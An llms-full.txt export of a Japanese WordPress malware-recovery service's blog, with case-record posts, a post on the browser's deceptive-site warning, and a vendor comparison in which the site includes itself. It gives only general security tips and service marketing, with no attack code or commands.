Generated by All in One SEO Pro v5.0.1.1, this is an llms-full.txt file, used by LLMs to index the site.

# 【ワードプレスレスキュー】Wordpressの緊急復旧・トラブル・改ざん、乗っ取り復旧対応サービス。

2026年9月5日 

## 投稿

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2023年6月~9月」　](https://wp-r.com/wprescue/202306-202309/)

**Published:** 10月 2, 2023
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からごワードプレスの修復のご依頼をいただきました。すべてワードプレスを「ご依頼頂いた分」についましては、1件のご依頼以外は、すべて復旧させていただいております。ほとんどがワードプイレスのマルウェアによるサイト乗っ取り、改ざんのワードプレスのご依頼がです。ワードプレスは、コアファイルやプラグイン・テーマファイル脆弱性からマルウェアなどの侵入を許してしまい、サイトが乗っ取られる危険性が高く、運用もとても需要です。無効化にしているワードプレスのプラグイでも脆弱性があれば、マルウェアに侵入されて、サイトやGoogle検索結果が改ざんされたり、深刻な被害がおきますので注意です。

## ワードプレスをマルウェアから守る最低限5か条！

1. ワードプレスコアファイルを最新に保つ
2. 配布テーマは最新を保つ
3. プラグインは最新を保つ
4. 古いプラグインは使わない。常に最終更新日を確認。1年以上のものは危ないです。
5. パスワードは複雑なものにする。管理画面で作成するものを奨励します。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)

## ワードプレス（WordPress）の復旧・復帰・改ざんの解決内容

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金は一律39,600円（税別・後払い）追加料金無し。

弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税別）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスのマルウェア・復旧・修復・トラブル依頼の実績です。「2023年1１月」　](https://wp-r.com/wprescue/202311/)

**Published:** 12月 12, 2023
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からごワードプレスの修復のご依頼をいただきました。すべてワードプレスを「ご依頼頂いた分」についましては、すべて復旧させていただいております。殆どがワードプイレスのマルウェアによるサイト乗っ取り、改ざんのワードプレスのご依頼がです。ワードプレスは、コアファイルやプラグイン・テーマファイル脆弱性からマルウェアなどの侵入を許してしまい、サイトが乗っ取られる危険性が高く、運用もとても需要です。プラグインを無効化にしても脆弱性があれば、マルウェアに侵入されて、サイトやGoogle検索結果が改ざんされたり、深刻な被害がおきますので注意です。

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

## ワードプレスをマルウェアから守る最低限5か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)

## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容や料金

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金は一律39,600円（税別・後払い）追加料金無し。

弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税別）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

**カテゴリー:** ワードプレス復旧実績

---

### [「偽のサイトにアクセスしようとしています」の対応可能です。](https://wp-r.com/wp-tips/malicious-site-alert-handling/)

**Published:** 12月 5, 2022
**Author:** ワードプレスレスキュー

**Content:**

# 「偽のサイトにアクセスしようとしています」

![偽のサイトにアクセスしようとしています](https://wp-r.com/wp-content/uploads/2022/12/kiken.jpg)偽のサイトにアクセスしようとしています## ブラウザでの警告内容は非常に良くない

**〇〇〇〇では、悪意のあるユーザーによって、ソフトウェアのインストールや個人情報（パスワード、電話番号、クレジット カードなど）の入力といった危険な操作を行うよう誘導される可能性があります。**

ユーザーがワードプレスで作成したサイトにアクセスすると、ブラウザで赤い画面の表示が出ると、非常に良くない状態です。すぐにでも対応が必要です。最近、フィッシングサイトに置き換わる被害が多くなり、ワードプレスでの緊急対応が多くなってきたので、記事にしたいと思います。

### 非常によくない４つの理由

#### ワードプレスの中にマルウェアが仕込まれている

詐欺サイトに誘導され、経済的被害が出る可能性があり、サイト所有者は、加害者になる可能性があります。

#### 信用が一気に落ちます。

Googleがフィッシング行為を検出してる表示と警告があるため、訪問者からサイトへの信用は一気に失墜します。

#### Googleの検索結果から弾かれる

マルウェアに感染し、フィッシングプログラムが仕込まれているため、有害なサイトの認定をGoogleから受けているため、検索エンジンから消える可能性があります。

#### サーバー会社からアカウント停止を食らう

サーバー会社は、基本的には通信を監視しており、おかしな通信が起きたり、第３者からの通報があると、ユーザーへの警告＆サイトのアクセス禁止処置を行います。最悪、アカウント自体が停止され、データが取り出せない自体になり、サイト自体が復旧不可能な自体も起きます。

![偽のサイトにアクセスしようとしています](https://wp-r.com/wp-content/uploads/2022/12/kiken2.jpg)偽のサイトにアクセスしようとしています### ワードプレスレスキューでの対応

![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)ワードプレスレスキューでは、このようなマルウェア関連の復旧作業を承っており、ワードプレスのシステム部分から、サーバー全体の知見があるスタッフがノンストップで対応致します。**他社への外注はございません。**

- マルウェア除去
- サーチコンソールで内容を確認
- マルウェアを仕込まれるバックアドアの削除
- セキュリティー上の問題点の洗いだし、報告
- 今後の運用へのアドバイス
- ワードプイレスのバックアップの設定
- Googleへの再審査の申請

#### Googleへの再審査の申請

Googleへサイトを修正し、マルウェアを削除し、対策を行ったことを申請し、再審査のリクエストを出します。「赤い画面」を解除してもらう手続きです。

#### Googleの赤い画面の解除までの期間

弊社の過去の実測値で最速で16時間。遅いときで7日間ほどかかります。放置していた期間やGoogleによりけりです。Googleへ再審査のリクエストを出したとしても、マルウェアが残っていたりすると、審査は通りません。正しく、ワードプレスのマルウェアの除去の対応が必要です。

### とにかく早めの対応が必要。

この状態は、放置しておけば、置くほどワードプレス所収者にとっては、不利益が置きます。ワードプレスレスキューは、ワードプレスのマルウェア対応やGoogleへの対応をいち早く対応させていただきます。

**カテゴリー:** ワードプレスTIPS

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2023年3月~5月」　](https://wp-r.com/wprescue/202303-202305/)

**Published:** 6月 5, 2023
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からごワードプレスの修復のご依頼をいただきました。すべてワードプレスを「ご依頼頂いた分」についましては、100％復旧させていただいております。ほとんどがワードプイレスのマルウェアによるサイト乗っ取り、改ざんのワードプレスのご依頼がです。ワードプレスは、コアファイルやプラグイン・テーマファイル脆弱性からマルウェアなどの侵入を許してしまい、サイトが乗っ取られる危険性が高く、運用もとても需要です。無効化にしているワードプレスのプラグイでも脆弱性があれば、マルウェアに侵入されて、サイトやGoogle検索結果が改ざんされたり、深刻な被害がおきますので注意です。

## ワードプレスをマルウェアから守る最低限5か条！

1. ワードプレスコアファイルを最新に保つ
2. 配布テーマは最新を保つ
3. プラグインは最新を保つ
4. 古いプラグインは使わない。常に最終更新日を確認。1年以上のものは危ないです。
5. パスワードは複雑なものにする。管理画面で作成するものを奨励します。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)

## ワードプレス（WordPress）の復旧・復帰・改ざんの解決内容

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金は一律39,600円（税込・後払い）追加料金無し。

弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税込み）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

\[su\_button url=”https://wp-r.com/?page\_id=8#table1″\]成果報酬で依頼をする。内容の確認依頼をする\[/su\_button\]

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレス復旧実績

---

### [WordPressマルウェア・改ざん・乗っ取り復旧業者4選｜費用や内容を比較](https://wp-r.com/wordpress-recovery-comparison/wordpress-malware-recovery-comparison/)

**Published:** 6月 22, 2026
**Author:** ワードプレスレスキュー

**Excerpt:** WordPressのマルウェア・改ざん・乗っ取り復旧業者を比較。専門性の根拠を公開情報で確認できる4社を料金・実績・対応範囲で整理しています。制作会社の付随サービスとの違いも解説。

**Content:**

WordPressのマルウェア・乗っ取り・改ざん被害は、制作や保守の延長で対応するサービスだけでは、侵入経路やバックドアまで十分に調べきれない場合があります。表面的な不正ファイルの削除だけでは再感染することがあるため、復旧は原因調査と再発防止まで任せられる専門会社への相談が基本です。本記事では、専門性の根拠を公開情報から読み取れる4社を料金と実績で比較します。

## ワードプレスのマルウェア・乗っ取り・改ざんの復旧業者は、どこを選ぶべきか

コンテンツ

[Toggle](#)

- [ワードプレスのマルウェア・乗っ取り・改ざんの復旧業者は、どこを選ぶべきか](#%E3%83%AF%E3%83%BC%E3%83%89%E3%83%97%E3%83%AC%E3%82%B9%E3%81%AE%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%83%BB%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A%E3%83%BB%E6%94%B9%E3%81%96%E3%82%93%E3%81%AE%E5%BE%A9%E6%97%A7%E6%A5%AD%E8%80%85%E3%81%AF%E3%80%81%E3%81%A9%E3%81%93%E3%82%92%E9%81%B8%E3%81%B6%E3%81%B9%E3%81%8D%E3%81%8B)
- [復旧業者を比較する基準](#%E5%BE%A9%E6%97%A7%E6%A5%AD%E8%80%85%E3%82%92%E6%AF%94%E8%BC%83%E3%81%99%E3%82%8B%E5%9F%BA%E6%BA%96)
- [ワードプレスのマルウェア・乗っ取り・改ざんの復旧業者4社の比較表](#%E3%83%AF%E3%83%BC%E3%83%89%E3%83%97%E3%83%AC%E3%82%B9%E3%81%AE%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%83%BB%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A%E3%83%BB%E6%94%B9%E3%81%96%E3%82%93%E3%81%AE%E5%BE%A9%E6%97%A7%E6%A5%AD%E8%80%854%E7%A4%BE%E3%81%AE%E6%AF%94%E8%BC%83%E8%A1%A8)
    - [支払い方法は共通。後払いのクレジットカード対応](#%E6%94%AF%E6%89%95%E3%81%84%E6%96%B9%E6%B3%95%E3%81%AF%E5%85%B1%E9%80%9A%E3%80%82%E5%BE%8C%E6%89%95%E3%81%84%E3%81%AE%E3%82%AF%E3%83%AC%E3%82%B8%E3%83%83%E3%83%88%E3%82%AB%E3%83%BC%E3%83%89%E5%AF%BE%E5%BF%9C)
    - [共通事項](#%E5%85%B1%E9%80%9A%E4%BA%8B%E9%A0%85)
- [公開情報から見える4社の特徴](#%E5%85%AC%E9%96%8B%E6%83%85%E5%A0%B1%E3%81%8B%E3%82%89%E8%A6%8B%E3%81%88%E3%82%8B4%E7%A4%BE%E3%81%AE%E7%89%B9%E5%BE%B4)
    - [WebRepair](#WebRepair)
    - [ワードプレスレスキュー](#%E3%83%AF%E3%83%BC%E3%83%89%E3%83%97%E3%83%AC%E3%82%B9%E3%83%AC%E3%82%B9%E3%82%AD%E3%83%A5%E3%83%BC)
    - [WP Doctorワードプレスドクター](#WP_Doctor%E3%83%AF%E3%83%BC%E3%83%89%E3%83%97%E3%83%AC%E3%82%B9%E3%83%89%E3%82%AF%E3%82%BF%E3%83%BC)
    - [WPPLUSセキュリティサービス](#WPPLUS%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9)
- [目的別に選ぶなら](#%E7%9B%AE%E7%9A%84%E5%88%A5%E3%81%AB%E9%81%B8%E3%81%B6%E3%81%AA%E3%82%89)
- [専門性を見るときの注意点](#%E5%B0%82%E9%96%80%E6%80%A7%E3%82%92%E8%A6%8B%E3%82%8B%E3%81%A8%E3%81%8D%E3%81%AE%E6%B3%A8%E6%84%8F%E7%82%B9)
- [ワードプレスのマルウェア・乗っ取り・改ざんの復旧は早めの相談が重要](#%E3%83%AF%E3%83%BC%E3%83%89%E3%83%97%E3%83%AC%E3%82%B9%E3%81%AE%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%83%BB%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A%E3%83%BB%E6%94%B9%E3%81%96%E3%82%93%E3%81%AE%E5%BE%A9%E6%97%A7%E3%81%AF%E6%97%A9%E3%82%81%E3%81%AE%E7%9B%B8%E8%AB%87%E3%81%8C%E9%87%8D%E8%A6%81)
- [この記事について](#%E3%81%93%E3%81%AE%E8%A8%98%E4%BA%8B%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)

![](https://wp-r.com/wp-content/uploads/2026/06/security-company.png)ワードプレスのマルウェア・乗っ取り・改ざんの復旧業者を探しているなら、まず見るべきなのは、復旧やセキュリティ対応を主なサービスとして提供している会社かどうかです。

制作や保守の延長で対応するサービスでは、感染ファイルの差し替えや初期化対応が中心になることがあり、侵入経路の特定やバックドアの除去まで踏み込まないケースがあります。その結果、表面上は復旧したように見えても、数日後に再感染するケースが起きます。

復旧専門会社との違いは、この調査の深さにあります。侵入経路の確認、バックドアの特定と除去、改ざん箇所の修正、根本からの再発防止まで含めて対応できるかどうかが、依頼先を選ぶうえでの基準になります。

料金の安さだけで選ぶより、まずは「制作や保守の付随サービス」ではなく「復旧を主軸にしている会社か」を見分けることが大切です。そのうえで、実績や技術情報、料金のわかりやすさを比較すると、相談先を絞りやすくなります。

## 復旧業者を比較する基準

制作や保守の延長で表面的な対応にとどまる場合、不正ファイルを削除しても侵入経路やバックドアが残り、再感染につながることがあります。「対応できる」と書かれているかどうかより、どこまで調査するかが重要です。

ワードプレスの制作会社や保守会社でも復旧対応を扱っていることはあります。ただし、主軸が制作・更新・運用支援にあるのか、復旧・セキュリティ対応にあるのかで、比較するときの見方は変わります。

復旧専門会社のほうが見分けやすいのは、次の2点が公開情報として出ていることが多いためです。

- **主軸サービス**：ワードプレスのマルウェア・乗っ取り・改ざんの復旧対応をメイン業務として掲げているか
- **解析事例・専門性の根拠**：技術記事、調査事例、WordPress公式プラグイン公開、資格など、専門性を裏づける根拠があるか

この2点が見えない会社は、検索結果上で目立っていても、専門性を比較する材料が少なくなります。

## ワードプレスのマルウェア・乗っ取り・改ざんの復旧業者4社の比較表

この表では、4社とも近くなりやすい対応範囲は外し、**違いが出やすい項目だけ**を並べています。

掲載順はおすすめ順位ではなく、公開情報から読み取れる専門性の根拠や料金を比較しやすいように整理しています。

### 支払い方法は共通。後払いのクレジットカード対応

今回比較した4社は、いずれも後払い・クレジットカード対応です。前払いや高額な着手金を要求してくる業者は、この業界慣行から外れているため、依頼先として選ぶ際には注意が必要です。

![](https://wp-r.com/wp-content/uploads/2026/06/noakutoku.png "noakutoku")

サービス名診断料・初期費用等解析事例・専門性の根拠料金/費用**[WebRepair](https://webrepair.jp/lp/wordpress-falsification/)**
【土日】
プランにより、オプション
診断料無料・成功報酬国家資格の情報処理安全確保支援士が担当 / 69,096,884件の不正コードファイル蓄積 / 調査事例公開 / フォレンジック調査サービスあり / 電気通信事業者 A-27-1443029,800円（税別）〜89,000円（税別）
**[ワードプレスレスキュー](https://wp-r.com/wp-rescue-lp/)**
【土日・夜間】
土日・夜間：追加料金なしで対応診断料無料・成功報酬2007年からのWP経験 / 分析記事公開 / WordPress.org公式プラグイン公開 / 1,400件以上の復旧実績を掲載 / 電気通信事業 H-22-0114238,000円定額（税別）
[**WP Doctor**
**ワードプレスドクター**](https://wp-doctor.jp/)
【土日】
要問合せ要問合せ自社開発のマルウェアスキャンプラグイン公開 / 2015年から改ざん復旧サービス開始と記載 / 年間数百件規模の復旧実績を掲載36,000円〜（税別不明）
**[WPPLUSセキュリティサービス](https://security.wpplus.jp/)**
【土日】
要問合せ診断料無料・成功報酬JAPHICマーク取得 / 月ごとの復旧・脆弱性診断件数を掲載 / 脆弱性診断レポート・サンプルレポート公開 / 技術記事公開39,600円〜（税込）

[無料で相談する最短30分で回答（メール）](https://wp-r.com/wp-sodan/)[LINEで相談する](https://page.line.me/njx0905k?openQrModal=true)[電話で相談する050-7114-9201](tel:050-7114-9201)

### 共通事項

4社を比較するときは、違いだけでなく共通しているポイントも先に押さえておくと、初めて読む人でも判断しやすくなります。公開情報を見る限り、いずれも短期的な単発サービスではなく、一定期間継続してサービスを提供している点は共通しています。

- **再発防止やセキュリティ対策まで含めて説明されている**
- **支払い条件は、後払い・成功報酬型として掲載されている**
- **復旧後の保守・メンテナンスのサービスもある**（料金は各社の公式Webをご確認ください）
- **技術記事やブログなどの公開情報があり、事前に考え方を読み取りやすい**
- **サービス歴が比較的長く、継続して運営されている**

## 公開情報から見える4社の特徴

### WebRepair

WebRepairは、4社の中で、国家資格である情報処理安全確保支援士が担当することを公開情報で確認できた範囲では唯一のサービスです。対応スタッフの専門性の高さがうかがえます。

WordPressの復旧に加え、フォレンジック調査や原因究明まで視野に入るサービスです。

制作会社や保守会社と連携した対応実績もあり、既存の制作・運用体制を残したまま、専門的な調査や復旧を組み合わせたい場合にも検討しやすい会社です。個人向けと事業者向けでサービスが切り分けられており、法的責任や保険請求が絡む事故対応でも比較しやすい候補です。ダークウェブ調査サービスも扱っているため、一般的な復旧だけでなく、より広いセキュリティ調査まで視野に入れたい場合にも検討したい会社です。

料金：29,800円（税別）〜89,000円（税別）

URL：

![WebRepair banner: Japanese text and gear imagery announcing site restoration services and reliability.](https://wp-r.com/wp-content/uploads/2026/06/wp-fukkyu-hikaku1.jpg)### ワードプレスレスキュー

ワードプレスレスキューは、上場企業、国立大学、私立大学から一般企業、PTAや公益団体まで幅広い対応実績を掲載しているサービスです。警察署からの捜査関係事項照会に対応した実績がある点も、通常の制作・保守対応とは異なる比較材料になります。

制作会社からの相談や連携実績もあり、サイト制作・保守の担当者がいる場合でも、復旧や再発防止の専門部分を切り分けて相談しやすい点が特徴です。料金ページや復旧サービスページに加え、WordPress.orgの公式プラグインディレクトリでの公開実績も見ておきたいポイントです。公式ディレクトリでの公開は、WordPressへの理解や開発経験を見る材料になります。さらに、WordPress本体だけでなくサーバー領域まで視野に入れているため、改ざんやマルウェアの再発防止まで含めて比較しやすい点が特徴です。

料金：38,000円定額（税別・プラン）

URL：

![WordPressのマルウェア復旧サービスを紹介するウェブページの本文とサイドバーが表示された記事ページのスクリーンショット](https://wp-r.com/wp-content/uploads/2026/06/wp-fukkyu-hikaku4.jpg)### WP Doctorワードプレスドクター

WP Doctorワードプレスドクターは、自社でマルウェアパターンを検出するソフトウェアを開発・配布している点が強みです。公式サイトでは、2015年から改ざん復旧サービスを開始し、年間数百件規模の復旧事例や、大量の改ざんパターンをもとにしたデータベース構築について記載されています。

無料のマルウェアスキャン＆セキュリティープラグインでは、WordPressのファイルとデータベースをスキャンし、改ざん箇所やマルウェアの位置を把握できる仕組みが記載されています。いきなり復旧依頼に進む前に状況を把握したい人にも向いています。復旧だけでなく、移行、開発、カスタマイズ、保守など、WordPressに関する専門的な対応メニューが多い点も特徴です。

料金：改ざん・ハッキング復旧36,000円〜（税別不明）

URL：

![オンラインでお見積もり・発注・コミュニケーションを案内する、オフィス風ヒーローバナー（男性と女性がタブレットを持つ）](https://wp-r.com/wp-content/uploads/2026/06/wp-fukkyu-hikaku2.jpg)### WPPLUSセキュリティサービス

WPPLUSセキュリティサービスは、JAPHICマークの取得や、月ごとの復旧・脆弱性診断件数を公開している点が特徴です。復旧サービスの内容だけでなく、運営体制や直近の対応状況を数字で見たい場合に比較しやすい候補です。

脆弱性診断では、アクセス制御、総当たり攻撃、メールフォーム、WAF、パスワード強度、HTTPセキュリティヘッダー、ログ解析などの診断項目が示されています。A〜Dランクで整理したレポートやサンプルレポートも公開されているため、復旧後の再発防止だけでなく、平時にサイトの弱点を把握したい人にも向いています。

料金：39,600円〜（税込）

URL：

![WPPLUSセキュリティサービスのヒーロー画像：左にロゴと日本語の説明、右にビジネスチームの写真と青の背景。](https://wp-r.com/wp-content/uploads/2026/06/wp-fukkyu-hikaku3.jpg)## 目的別に選ぶなら

4社とも復旧サービス自体は提供しています。何を重視して選ぶかで整理すると、初めて比較する人でも迷いにくくなります。

- **原因究明に加えて、国家資格者の担当体制も重視するなら**：WebRepair
- **公開情報の厚みや実績の見えやすさ、定額料金のわかりやすさを重視するなら**：ワードプレスレスキュー
- **感染の有無をまず見極めてから動きたいなら**：WP Doctorワードプレスドクター
- **復旧とは切り離して、平時の脆弱性診断やレポートも見ておきたいなら**：WPPLUSセキュリティサービス

## 専門性を見るときの注意点

ワードプレスのマルウェア・乗っ取り・改ざんの復旧業者を初めて探す人にとって、サービスページに「マルウェア駆除」「改ざん対応」「乗っ取り復旧」「不正アクセス対応」「再発防止」と書かれていれば、専門会社のように見えます。

ただし、こうした対応項目が書かれていること自体は、専門性の決定打にはなりません。制作会社、保守会社、開発会社、個人向けサービスでも、同じような言葉でサービスを紹介していることがあるためです。

専門性を裏づける情報の種類を見ることが重要です。比較するときは、次のような点を見ると判断しやすくなります。

- **専門性の根拠が何か**：資格、技術記事、調査事例、WordPress公式プラグイン、外部で確認できる実績などがあるか
- **実績の中身が見えるか**：件数や口コミだけでなく、どのような被害をどのように確認・復旧したのかがわかるか
- **説明が具体的か**：侵入経路、バックドア、データベース、サーバー側の確認などについて考え方が説明されているか
- **担当者の専門領域が見えるか**：WordPress制作・開発の経験なのか、セキュリティ調査・復旧の経験なのか、公開情報から読み分けられるか

復旧業者を比較するときは、サービスページの表現だけでなく、専門性を裏づける情報の厚みまで見ることが大切です。

## ワードプレスのマルウェア・乗っ取り・改ざんの復旧は早めの相談が重要

ワードプレスのマルウェア感染や乗っ取り被害は、対応が遅れるほど影響が広がります。

- **検索順位への影響**：Googleからスパム判定を受けて検索順位が下がる
- **問い合わせ・連絡手段の停止**：顧客や取引先からの問い合わせフォームが止まる
- **販売・予約機能の停止**：ショッピングカートや予約システムが使えなくなる
- **再感染・コスト増**：侵入経路を塞がないままにしていると、再感染を繰り返すだけでなく、復旧コストと担当者の対応負荷が積み上がっていく

料金だけで判断せず、早めに復旧専門会社に相談することが、結果的にコストとリソースの両面で合理的な選択です。

[無料で相談する最短30分で回答（メール）](https://wp-r.com/wp-sodan/)[LINEで相談する](https://page.line.me/njx0905k?openQrModal=true)[電話で相談する050-7114-9201](tel:050-7114-9201)

---

 ![WordPressセキュリティエンジニア 前田美知太郎](https://wp-r.com/wp-content/uploads/2026/08/WordPressSecurityEngineer.jpg)
 本サービスの責任者：CreativeStudio樂・前田美知太郎

WordPressは2007年から実務で扱い始め、当時はMovable Typeが主流の中で運用・構築の経験を積む。インターネットプロバイダーのインフラエンジニア出身。サーバー・ネットワーク・セキュリティの基礎を現場で習得し、警察へのログ提出やログ整合性の確認など証跡管理の実務経験を有する。

WordPress構築・サーバー設計・マルウェア復旧・セキュリティ対策を中心に実務に従事。現在はAWS・各種VPS環境でのインフラ構築、CloudflareによるCDN・WAF運用、ログ解析や攻撃分析を含む実践的なセキュリティ対応を行っている。

WordPressの障害復旧は1,400件以上の対応実績。守秘義務契約（NDA）により詳細は公開不可だが、公的機関・教育機関・金融系・観光関連・放送関連のサーバーおよびセキュリティ設計・構築に従事。

個人から上場企業、大学・教育機関、IOC参加団体、制作会社など幅広い領域の改ざん・マルウェア感染復旧に対応。初動対応から復旧までを担当。

近年は悪意あるBOTの挙動データの収集・分析を行い、検知・対策への活用にも取り組む。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。[詳しいプロフィール・会社概要はこちら](https://wp-r.com/company-profile/) / [WordPress.org公開開発者プロフィールはこちら](https://profiles.wordpress.org/csgaku/profile/)

## この記事について

